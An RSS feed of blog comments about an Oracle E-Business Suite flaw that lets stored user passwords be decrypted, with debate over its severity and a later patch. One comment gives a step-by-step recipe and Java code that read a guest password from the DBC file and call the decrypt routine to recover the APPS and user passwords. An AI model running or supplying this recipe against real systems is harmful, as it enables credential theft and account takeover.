<?xml version="1.0" encoding="utf-8"?>
<rss xmlns:atom="http://www.w3.org/2005/Atom" version="2.0"><channel><title>Eddie Awad’s Blog - Latest Comments in Oracle E-Business Suite Vulnerability: Users Passwords Decrypted</title><link>http://awads.disqus.com/</link><description>News, views, tips and tricks on Oracle and other fun stuff</description><atom:link href="https://awads.disqus.com/oracle_e_business_suite_vulnerability_users_passwords_decrypted/latest.rss" rel="self"></atom:link><language>en</language><lastBuildDate>Fri, 08 Feb 2008 11:30:14 -0000</lastBuildDate><item><title>Re: Oracle E-Business Suite Vulnerability: Users Passwords Decrypted</title><link>http://awads.net/wp/2006/12/12/oracle-e-business-suite-vulnerability-users-passwords-decrypted/#comment-3658996</link><description>&lt;p&gt;Hi braj &lt;br&gt;can you give a link of the final exxecutable that you mentioned?&lt;br&gt;Thank you&lt;/p&gt;</description><dc:creator xmlns:dc="http://purl.org/dc/elements/1.1/">Sofia</dc:creator><pubDate>Fri, 08 Feb 2008 11:30:14 -0000</pubDate></item><item><title>Re: Oracle E-Business Suite Vulnerability: Users Passwords Decrypted</title><link>http://awads.net/wp/2006/12/12/oracle-e-business-suite-vulnerability-users-passwords-decrypted/#comment-3658991</link><description>&lt;p&gt;Hi!  Ewad,&lt;/p&gt;&lt;p&gt;If i am  normal  os user  on system and have select any table privilege  or select privilege on fnd_user table. I can easily break all the passwords even if i donot know the installation directory of oracle apps.&lt;/p&gt;&lt;p&gt;1. First step is to get guest user password&lt;/p&gt;&lt;p&gt;do the ps  and try to find Ddbcfile &lt;br&gt;ps -eaf|grep   Ddbcfile &lt;br&gt;from there you can get the FND_TOP location and DBCFILE location. The DBC file readable by all and there is plain text entry for guest user password.&lt;/p&gt;&lt;p&gt;2. Now you can easily set the classpath  as you the APPL_TOP location and OAH_TOP location from ps command above&lt;br&gt;/usr/local/j2sdk1.4.2_15/jre/lib/rt.jar:/usr/local/j2sdk1.4.2_15/lib/dt.jar:/usr/local/j2sdk1.4.2_15/lib/tools.jar:/usr/local/j2sdk1.4.2_15/jre/lib/charsets.jar:/usr02/app/applebid/admin/ebid/java/&lt;a href="http://appsborg2.zip" rel="nofollow noopener" target="_blank" title="appsborg2.zip"&gt;appsborg2.zip&lt;/a&gt;::/usr02/app/applebid/product/8.0.6/forms60/java:/usr02/app/applebid/admin/ebid/java:/export/home/applebt1&lt;/p&gt;&lt;p&gt;3. Now write a simple Java code&lt;/p&gt;&lt;p&gt;public class GetPassword {&lt;br&gt;        public static void main(String[] args) {&lt;/p&gt;&lt;p&gt;            String appspassword=new String();&lt;br&gt;	    String guest_pwd=new String();&lt;br&gt;	     String userpass=new String();&lt;br&gt;	   String  encrypted_foundation_passsword=new String();&lt;br&gt;	    String  encrypted_passsword=new String();&lt;/p&gt;&lt;p&gt;          guest_pwd="GUEST/ORACE";                                        /*   fvalue got from dbc file  */&lt;br&gt;           encrypted_foundation_passsword="fafasfafafaf";    /*  value got from fnd_user table for GUEST user */&lt;br&gt;          encrypted_passsword="rfsfsfsafsfsfsf";                     /*  value got from fnd_user table for given  user */&lt;br&gt;             appspassword= oracle.apps.fnd.security.WebSessionManagerProc.decrypt(guest_pwd, encrypted_foundation_passsword);&lt;br&gt;            userpass= oracle.apps.fnd.security.WebSessionManagerProc.decrypt(appspassword,encrypted_passsword);&lt;br&gt;                System.out.println("user password:"+userpass);&lt;br&gt;		 System.out.println(" apps password:"+appspassword);&lt;br&gt;        }&lt;/p&gt;&lt;p&gt;}&lt;/p&gt;&lt;p&gt;4. compile and run and you will get the user and apps  password.&lt;/p&gt;</description><dc:creator xmlns:dc="http://purl.org/dc/elements/1.1/">braj</dc:creator><pubDate>Fri, 14 Dec 2007 04:21:30 -0000</pubDate></item><item><title>Re: Oracle E-Business Suite Vulnerability: Users Passwords Decrypted</title><link>http://awads.net/wp/2006/12/12/oracle-e-business-suite-vulnerability-users-passwords-decrypted/#comment-3658993</link><description>&lt;p&gt;I had a look on the new modified Java class oracle.apps.fnd.security.AolSecurity that this patch delivers.&lt;/p&gt;&lt;p&gt;As Oracle has written in the patch description now user passwords are stored in the following way:&lt;br&gt;1) at first SHA digest is made from user password&lt;br&gt;2) and then SHA digest is encrypted with APPS password and stored in encrypted_user_password column&lt;/p&gt;&lt;p&gt;When password verification is done then&lt;br&gt;1) encrypted_user_password is decrypted with APPS password&lt;br&gt;2) SHA1 of user password is compared with decrypted result&lt;/p&gt;&lt;p&gt;So it means that it will not be possible to find out all user passwords using APPS password as decryption key.&lt;/p&gt;&lt;p&gt;But as it seems to me if you will have SQL access to the database and if you will have at least one EBS login and password for this database then you will still be able to get APPS password.&lt;/p&gt;</description><dc:creator xmlns:dc="http://purl.org/dc/elements/1.1/">Raimonds</dc:creator><pubDate>Tue, 30 Oct 2007 18:47:44 -0000</pubDate></item><item><title>Re: Oracle E-Business Suite Vulnerability: Users Passwords Decrypted</title><link>http://awads.net/wp/2006/12/12/oracle-e-business-suite-vulnerability-users-passwords-decrypted/#comment-3658994</link><description>&lt;p&gt;It looks like there may be a fix for this  vulnerability.  Note: 457166.1 talks about a new option for FNDCPASS available in 11.5.10 RUP 6 and 12.0.4 to migrate user to a non-reversible hash password scheme.  I haven't tried it yet to verify it, but it sounds like doing that will close off this vulnerability&lt;/p&gt;&lt;p&gt;-Brian&lt;/p&gt;</description><dc:creator xmlns:dc="http://purl.org/dc/elements/1.1/">bsieberth</dc:creator><pubDate>Tue, 30 Oct 2007 14:03:51 -0000</pubDate></item><item><title>Re: Oracle E-Business Suite Vulnerability: Users Passwords Decrypted</title><link>http://awads.net/wp/2006/12/12/oracle-e-business-suite-vulnerability-users-passwords-decrypted/#comment-3658995</link><description>&lt;p&gt;Using Mehmet's Java source as an example I have created&lt;br&gt;&lt;a href="http://blog.rayapps.com/2007/10/30/oracle-e-business-suite-authentication-in-ruby/" rel="nofollow noopener" target="_blank" title="http://blog.rayapps.com/2007/10/30/oracle-e-business-suite-authentication-in-ruby/"&gt;Oracle E-Business Suite authentication plugin in Ruby&lt;/a&gt;. You can use this plugin for Ruby on Rails applications that want to use Oracle EBS users and passwords for authentication. Or you can use this as an example how to decrypt Oracle EBS user passwords in Ruby :)&lt;/p&gt;</description><dc:creator xmlns:dc="http://purl.org/dc/elements/1.1/">Raimonds</dc:creator><pubDate>Tue, 30 Oct 2007 13:52:07 -0000</pubDate></item><item><title>Re: Oracle E-Business Suite Vulnerability: Users Passwords Decrypted</title><link>http://awads.net/wp/2006/12/12/oracle-e-business-suite-vulnerability-users-passwords-decrypted/#comment-3658992</link><description>&lt;p&gt;Mehmet,&lt;br&gt;  How do you get the apps password through a user account? I have a need for a custom application, the users need to login using Oracle e-business password and then I need the apps database password to start the session just like Discoverer. Any pointers on this one, would greatly appreciate.&lt;/p&gt;&lt;p&gt;&lt;br&gt;&lt;/p&gt;&lt;p&gt;Thanks&lt;br&gt;Nilesh&lt;/p&gt;</description><dc:creator xmlns:dc="http://purl.org/dc/elements/1.1/">Nilesh</dc:creator><pubDate>Mon, 17 Sep 2007 19:59:40 -0000</pubDate></item><item><title>Re: Oracle E-Business Suite Vulnerability: Users Passwords Decrypted</title><link>http://awads.net/wp/2006/12/12/oracle-e-business-suite-vulnerability-users-passwords-decrypted/#comment-3658989</link><description>&lt;p&gt;zokho, Here is the documentation for &lt;a href="http://download.oracle.com/docs/cd/B10501_01/appdev.920/a96590/adgsec04.htm" rel="nofollow noopener" target="_blank" title="http://download.oracle.com/docs/cd/B10501_01/appdev.920/a96590/adgsec04.htm"&gt;Data Encryption Using DBMS_OBFUSCATION_TOOLKIT&lt;/a&gt; in 9i.&lt;/p&gt;&lt;p&gt;&lt;br&gt;&lt;/p&gt;&lt;p&gt;You may also want to visit &lt;a href="http://forums.oracle.com/" rel="nofollow noopener" target="_blank" title="http://forums.oracle.com/"&gt;forums.oracle.com&lt;/a&gt; and ask your questions there. Usually, you will get a faster response there.&lt;/p&gt;</description><dc:creator xmlns:dc="http://purl.org/dc/elements/1.1/">Eddie Awad</dc:creator><pubDate>Mon, 23 Jul 2007 14:55:10 -0000</pubDate></item><item><title>Re: Oracle E-Business Suite Vulnerability: Users Passwords Decrypted</title><link>http://awads.net/wp/2006/12/12/oracle-e-business-suite-vulnerability-users-passwords-decrypted/#comment-3658988</link><description>&lt;p&gt;hello eddie&lt;br&gt;i have an oracle 9i and one of my assignment in university is that how to decrypt users' password in oracle so i ve read several guides related to topic and i found that i should have a table in my oracle which is named fnd_user!!!&lt;br&gt;is there any other approach to decrypt passwords in oracle 9i?&lt;br&gt;thank u&lt;br&gt;best regards&lt;/p&gt;</description><dc:creator xmlns:dc="http://purl.org/dc/elements/1.1/">zokho</dc:creator><pubDate>Wed, 18 Jul 2007 08:41:19 -0000</pubDate></item><item><title>Re: Oracle E-Business Suite Vulnerability: Users Passwords Decrypted</title><link>http://awads.net/wp/2006/12/12/oracle-e-business-suite-vulnerability-users-passwords-decrypted/#comment-3658987</link><description>&lt;p&gt;Zokho, this is related to the Oracle E-Business Suite (EBS). If you do not have EBS, this does not apply to you.&lt;/p&gt;</description><dc:creator xmlns:dc="http://purl.org/dc/elements/1.1/">Eddie Awad</dc:creator><pubDate>Tue, 17 Jul 2007 23:26:21 -0000</pubDate></item><item><title>Re: Oracle E-Business Suite Vulnerability: Users Passwords Decrypted</title><link>http://awads.net/wp/2006/12/12/oracle-e-business-suite-vulnerability-users-passwords-decrypted/#comment-3658986</link><description>&lt;p&gt;hi again&lt;br&gt;im using oracle 9i.&lt;br&gt;i cant find any appsys schema in my oracle to have access to fnd_user and fnd_web_sec package!!&lt;br&gt;in which oracle version i can have have appsys schema???&lt;br&gt;or are there any table like fnd_user and package fnd_web_sec  in oracle 9i?&lt;/p&gt;</description><dc:creator xmlns:dc="http://purl.org/dc/elements/1.1/">zokho</dc:creator><pubDate>Tue, 17 Jul 2007 07:17:32 -0000</pubDate></item><item><title>Re: Oracle E-Business Suite Vulnerability: Users Passwords Decrypted</title><link>http://awads.net/wp/2006/12/12/oracle-e-business-suite-vulnerability-users-passwords-decrypted/#comment-3658985</link><description>&lt;p&gt;zokho, fnd_user is in applsys and fnd_web_sec is in apps.&lt;/p&gt;</description><dc:creator xmlns:dc="http://purl.org/dc/elements/1.1/">Eddie Awad</dc:creator><pubDate>Mon, 16 Jul 2007 12:48:10 -0000</pubDate></item><item><title>Re: Oracle E-Business Suite Vulnerability: Users Passwords Decrypted</title><link>http://awads.net/wp/2006/12/12/oracle-e-business-suite-vulnerability-users-passwords-decrypted/#comment-3658984</link><description>&lt;p&gt;hi.&lt;br&gt;in which schema in oracle i can find the fnd_user table?and FND_WEB_SEC package?&lt;/p&gt;</description><dc:creator xmlns:dc="http://purl.org/dc/elements/1.1/">zokho</dc:creator><pubDate>Sun, 15 Jul 2007 16:11:41 -0000</pubDate></item><item><title>Re: Oracle E-Business Suite Vulnerability: Users Passwords Decrypted</title><link>http://awads.net/wp/2006/12/12/oracle-e-business-suite-vulnerability-users-passwords-decrypted/#comment-3658983</link><description>&lt;p&gt;Acctualt you dont need to know apps password to get users password. You can get all users password only knowing a user password.&lt;/p&gt;&lt;p&gt;&lt;br&gt;&lt;/p&gt;&lt;p&gt;For example with your ERP user you can get the apps password then you can get any user's password.&lt;/p&gt;&lt;p&gt;&lt;br&gt;&lt;/p&gt;&lt;p&gt;I've coded an application (at 2005) then use the javaclass and it gets apps password then login with this password just like Oracle Discoverer.&lt;br&gt;&lt;a href="http://www.milci.com/eAppsViewer" rel="nofollow noopener" target="_blank" title="http://www.milci.com/eAppsViewer"&gt;http://www.milci.com/eAppsV...&lt;/a&gt;&lt;/p&gt;</description><dc:creator xmlns:dc="http://purl.org/dc/elements/1.1/">Mehmet</dc:creator><pubDate>Wed, 30 May 2007 14:52:14 -0000</pubDate></item><item><title>Re: Oracle E-Business Suite Vulnerability: Users Passwords Decrypted</title><link>http://awads.net/wp/2006/12/12/oracle-e-business-suite-vulnerability-users-passwords-decrypted/#comment-3658982</link><description>&lt;p&gt;I had raised this as an issue with Oracle well over a year ago.  I was told that it was not a security issue, since it required   significant amount of database access to exploit.&lt;/p&gt;</description><dc:creator xmlns:dc="http://purl.org/dc/elements/1.1/">Pete Dinin</dc:creator><pubDate>Fri, 15 Dec 2006 14:53:29 -0000</pubDate></item><item><title>Re: Oracle E-Business Suite Vulnerability: Users Passwords Decrypted</title><link>http://awads.net/wp/2006/12/12/oracle-e-business-suite-vulnerability-users-passwords-decrypted/#comment-3658981</link><description>&lt;p&gt;I was wondering how many people knew about this.  The bigger issue to me is that if you know an application username / password and can read from the fnd_user table then you can find out the apps password.&lt;/p&gt;&lt;p&gt;&lt;br&gt;&lt;/p&gt;&lt;p&gt;Worse still using these techniques you can comprimise the apps password through a fairly unpriviledged account.&lt;/p&gt;</description><dc:creator xmlns:dc="http://purl.org/dc/elements/1.1/">bsieberth</dc:creator><pubDate>Fri, 15 Dec 2006 14:17:26 -0000</pubDate></item><item><title>Re: Oracle E-Business Suite Vulnerability: Users Passwords Decrypted</title><link>http://awads.net/wp/2006/12/12/oracle-e-business-suite-vulnerability-users-passwords-decrypted/#comment-3658980</link><description>&lt;p&gt;We cannot say for this that is bug. In addition to this, secuirty itself is not only software way. While you're clonning the envrionments, you simply re-set the all passwords with a dummy password, you cleam all outputs.&lt;/p&gt;&lt;p&gt;&lt;br&gt;&lt;/p&gt;&lt;p&gt;This should be part of the secuirty.&lt;/p&gt;&lt;p&gt;&lt;br&gt;&lt;/p&gt;&lt;p&gt;But it was good to have such a code sample. &lt;br&gt;Thanks&lt;/p&gt;</description><dc:creator xmlns:dc="http://purl.org/dc/elements/1.1/">Bilal Sarioz</dc:creator><pubDate>Fri, 15 Dec 2006 09:06:18 -0000</pubDate></item><item><title>Re: Oracle E-Business Suite Vulnerability: Users Passwords Decrypted</title><link>http://awads.net/wp/2006/12/12/oracle-e-business-suite-vulnerability-users-passwords-decrypted/#comment-3658979</link><description>&lt;p&gt;Since I have the APPS password on our development environment, I was able to change the FND_WEB_SEC package and run the query above. I now have the passwords for ALL the users on our development instance. These passwords happen to be the same in production, since our development instance is a clone of production.&lt;/p&gt;&lt;p&gt;&lt;br&gt;&lt;/p&gt;&lt;p&gt;So, simply, if you know passwords that you should not have known in the first place, I believe that this constitutes a security breach and can be categorized as a problem.&lt;/p&gt;&lt;p&gt;&lt;br&gt;&lt;/p&gt;&lt;p&gt;However, in this particular case, the APPS password holds the key to all other passwords. And the assumption is that whoever has the APPS password (and the associated privileges) is or should be a trusted person.&lt;/p&gt;</description><dc:creator xmlns:dc="http://purl.org/dc/elements/1.1/">Eddie Awad</dc:creator><pubDate>Wed, 13 Dec 2006 12:05:31 -0000</pubDate></item><item><title>Re: Oracle E-Business Suite Vulnerability: Users Passwords Decrypted</title><link>http://awads.net/wp/2006/12/12/oracle-e-business-suite-vulnerability-users-passwords-decrypted/#comment-3658978</link><description>&lt;p&gt;To be fair, the Java classes do have file permissions, so you would have to be a part of that OS group (or the OS user itself) in order to load them.   So you've already had a breach in OS security at that point.&lt;/p&gt;&lt;p&gt;&lt;br&gt;&lt;/p&gt;&lt;p&gt;For the database side, you have to have access to the package, so that would already be a database security breach, like you said.&lt;/p&gt;&lt;p&gt;&lt;br&gt;&lt;/p&gt;&lt;p&gt;I'm not sure it's a security problem.  It's unsettling, for sure, but is it a security problem?&lt;/p&gt;</description><dc:creator xmlns:dc="http://purl.org/dc/elements/1.1/">Mr. Ed</dc:creator><pubDate>Tue, 12 Dec 2006 23:57:28 -0000</pubDate></item></channel></rss>